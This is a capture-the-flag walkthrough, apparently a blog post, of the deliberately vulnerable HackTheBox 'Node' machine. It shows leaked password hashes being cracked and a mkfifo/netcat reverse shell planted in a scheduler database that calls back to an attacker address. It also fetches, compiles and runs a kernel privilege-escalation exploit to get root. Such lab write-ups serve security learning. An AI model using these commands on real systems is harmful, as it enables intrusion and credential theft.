Node Walkthrough

Mr. Robot
InfoSec Adventures
Published in
5 min readNov 5, 2018

Node is a medium level boot2root challenge, originally created for HackTheBox. There are two flags to find (user and root flags) and multiple different technologies to play with.

Alright, let’s jump into it. Here’s the result of the nmap scan:

root@kali-rolling:~# nmap -A -p 1-65535 192.168.43.125
Nmap scan report for node (192.168.43.125)
Host is up (0.00032s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 dc:5e:34:a6:25:db:43:ec:eb:40:f4:96:7b:8e:d1:da (RSA)
| 256 6c:8e:5e:5f:4f:d5:41:7d:18:95:d1:dc:2e:3f:e5:9c (ECDSA)
|_ 256 d8:78:b8:5d:85:ff:ad:7b:e6:e2:b5:da:1e:52:62:36 (ED25519)
3000/tcp open http Node.js Express framework
| hadoop-datanode-info:
|_ Logs: /login
| hadoop-tasktracker-info:
|_ Logs: /login
|_http-title: MyPlace
MAC Address: 08:00:27:A2:8A:95 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.11, Linux 3.16 - 4.6, Linux 3.2 - 4.9, Linux 4.4
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.32 ms node (192.168.43.125)

There was not much to see, I went to port 3000 and explored the Node.js server. After looking through the javascript files, I found some interesting things.

var controllers = angular.module('controllers', []);
var app = angular.module('myplace', [ 'ngRoute', 'controllers' ]);
app.config(function ($routeProvider, $locationProvider) {
$routeProvider.
when('/', {
templateUrl: '/partials/home.html',
controller: 'HomeCtrl'
}).
when('/profiles/:username', {
templateUrl: '/partials/profile.html',
controller: 'ProfileCtrl'
}).
when('/login', {
templateUrl: '/partials/login.html',
controller: 'LoginCtrl'
}).
when('/admin', {
templateUrl: '/partials/admin.html',
controller: 'AdminCtrl'
}).
otherwise({
redirectTo: '/'
});
$locationProvider.html5Mode(true);
});

This gave me a list of pages and:

var controllers = angular.module('controllers');controllers.controller('HomeCtrl', function ($scope, $http) {
$http.get('/api/users/latest').then(function (res) {
$scope.users = res.data;
});
});

Made a GET request with curl…

curl 192.168.43.125:3000/api/users/latest

and here is the result:

[
{
"_id": "59a7368398aa325cc03ee51d",
"username": "tom",
"password": "f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240",
"is_admin": false
},
{
"_id": "59a7368e98aa325cc03ee51e",
"username": "mark",
"password": "de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73",
"is_admin": false
},
{
"_id": "59aa9781cced6f1d1490fce9",
"username": "rastating",
"password": "5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0",
"is_admin": false
}
]

Time to crack some hashes with hashcat!

hashcat -m 1400 hashes.txt /usr/share/wordlists/rockyou.txtOpenCL Platform #1: The pocl project
====================================
* Device #1: pthread-Intel(R) Core(TM) i7-7700K CPU @ 4.20GHz, 1024/2961 MB
Hashes: 3 digests; 3 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Applicable optimizers:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Salt
* Raw-Hash
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240:
spongebob
de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73:
snowflake
Approaching final keyspace - workload adjusted.
Session..........: hashcat
Status...........: Exhausted
Hash.Type........: SHA-256
Hash.Target......: hashes.txt
Time.Started.....: Fri Aug 24 15:46:51 2018 (20 secs)
Time.Estimated...: Fri Aug 24 15:47:11 2018 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.Dev.#1.....: 765.7 kH/s (2.12ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 2/3 (66.67%) Digests, 0/1 (0.00%) Salts
Progress.........: 14344385/14344385 (100.00%)
Rejected.........: 0/14344385 (0.00%)
Restore.Point....: 14344385/14344385 (100.00%)
Candidates.#1....: $HEX[206b72697374656e616e6e65] -> $HEX[042a0337c2a156616d6f732103]
HWMon.Dev.#1.....: N/A

As you can see, tom’s password was “spongebob” and mark’s password was “snowflake”. Sadly, I couldn’t log in to the site nor use SSH. I fired up Burp Suite and started wandering around. As it turned out, /api/users/ also returns data:

[
{
"_id":"59a7365b98aa325cc03ee51c",
"username":"myP14ceAdm1nAcc0uNT",
"password":"dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c0
7d23223334d0af",
"is_admin":true
},
{
"_id":"59a7368398aa325cc03ee51d",
"username":"tom",
"password":"f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d019145
1ec77b4d75f240",
"is_admin":false
},
{
"_id":"59a7368e98aa325cc03ee51e",
"username":"mark",
"password":"de5a1adf4fedcce1533915edc60177547f1057b61b7119fd13
0e1f7428705f73",
"is_admin":false
},
{
"_id":"59aa9781cced6f1d1490fce9",
"username":"rastating",
"password":"5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570ab
c9edd8b78ac2f0",
"is_admin":false
}
]

It contained an admin user with a password “manchester”. After logging in, there was a download link to a backup file. It was a base64 encoded text file.

cat myfiles.backup | base64 -d > backup

It was a zip file and required a password. I tried john with no success, but I got lucky with fcrackzip.

fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt  backup.zip

PASSWORD FOUND!!!!: pw == magicword

I extracted the contents of the zip file. The app.js file was particularly interesting because it contained a backup key for the backup program in the /usr/local/bin/ directory. Also, I found mark's password in the “url” variable. I can’t paste the file here, because the file has way too long lines and I’m already struggling to display the files properly. Medium doesn’t seem to include horizontal scrolling or syntax highlighting.

Anyway, I logged in as mark via SSH. After that, I looked through the running processes and cron jobs. I noticed a running node application.

tom    1181  0.0  4.4 1074616 45280 ? Ssl 0:07 
/usr/bin/node /var/scheduler/app.js

Talk is cheap, show me the source code!

const exec        = require('child_process').exec;
const MongoClient = require('mongodb').MongoClient;
const ObjectID = require('mongodb').ObjectID;
const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler?authMechanism=DEFAULT&authSource=scheduler';
MongoClient.connect(url, function(error, db) {
if (error || !db) {
console.log('[!] Failed to connect to mongodb');
return;
}
setInterval(function () {
db.collection('tasks').find().toArray(function (error, docs) {
if (!error && docs) {
docs.forEach(function (doc) {
if (doc) {
console.log('Executing task ' + doc._id + '...');
exec(doc.cmd);
db.collection('tasks').deleteOne({ _id: new ObjectID(doc._id) });
}
});
}
else if (error) {
console.log('Something went wrong: ' + error);
}
});
}, 30000);
});

I have to admit that I’m not familiar with the Node.js framework, but it should be clear for most programmers what this code is doing. Basically, this script is connecting to the scheduler database and iterating through the entries. If an entry is found, then the script is taking its “cmd” property and executes it. Finally, the entry gets deleted to prevent re-execution. The interval is set to 30 seconds. This service was running as tom, so we can easily become tom by creating a malicious entry.

I logged in to the Mongo database:

mongo -p -u mark scheduler

Now, I had to create a new entry, but before that,
I set up a netcat listener on port 9898.

nc -lvp 9898

First, I tried the regular netcat reverse shell with nc -e /bin/sh IP PORT , but I didn’t work. After a little search, this site helped me out. So, I crafted a new entry with the following command:

db.tasks.insert( { "cmd": "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.43.5 9898 >/tmp/f" } );

I got a basic reverse shell and finally discovered the first flag
in tom’s home directory.

e1156acc3574e04b06908ecf76be91b1

Also, I could have easily created a new bash shell for tom, by copying the /bin/bash file into a new one in the /tmp directory.

Now, the only thing left was getting root. I tried exploiting the backup program, but I was having a hard time figuring out what’s wrong with the encoding. My last hope was a privesc kernel exploit, which was https://www.exploit-db.com/exploits/44298/.

mark@node:/tmp$ wget https://www.exploit-db.com/download/44298.c
--2018-08-31 09:51:49-- https://www.exploit-db.com/download/44298.c
Resolving www.exploit-db.com (www.exploit-db.com)... 192.124.249.8, 64:ff9b::c07c:f908
Connecting to www.exploit-db.com (www.exploit-db.com)|192.124.249.8|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 6021 (5.9K) [application/txt]
Saving to: ‘44298.c’
44298.c 100%[==============================>] 5.88K --.-KB/s in 0s2018-08-31 09:51:50 (2.00 GB/s) - ‘44298.c’ saved [6021/6021]mark@node:/tmp$ gcc 44298.c -o exploit
mark@node:/tmp$ ./exploit
task_struct = ffff880035b26200
uidptr = ffff88003cf82244
spawning root shell
root@node:/tmp# whoami
root
root@node:/tmp# id
uid=0(root) gid=0(root) groups=0(root),1001(mark)
root@node:/tmp# cd /root
root@node:/root# ls
root.txt

I got the final flag and with this, I consider the challenge completed.

1722e99ca5f353b362556a62bd5e6be0

Before you go

Thank you for taking the time to read my walkthrough. If you found it helpful, please hit the 👏 button 👏 (up to 50x) and share it to help others with similar interest find it! + Feedback is always welcome! 🙏

--

--

Mr. Robot
InfoSec Adventures

Self-taught developer with an interest in Offensive Security. I regularly play on Vulnhub and Hack The Box.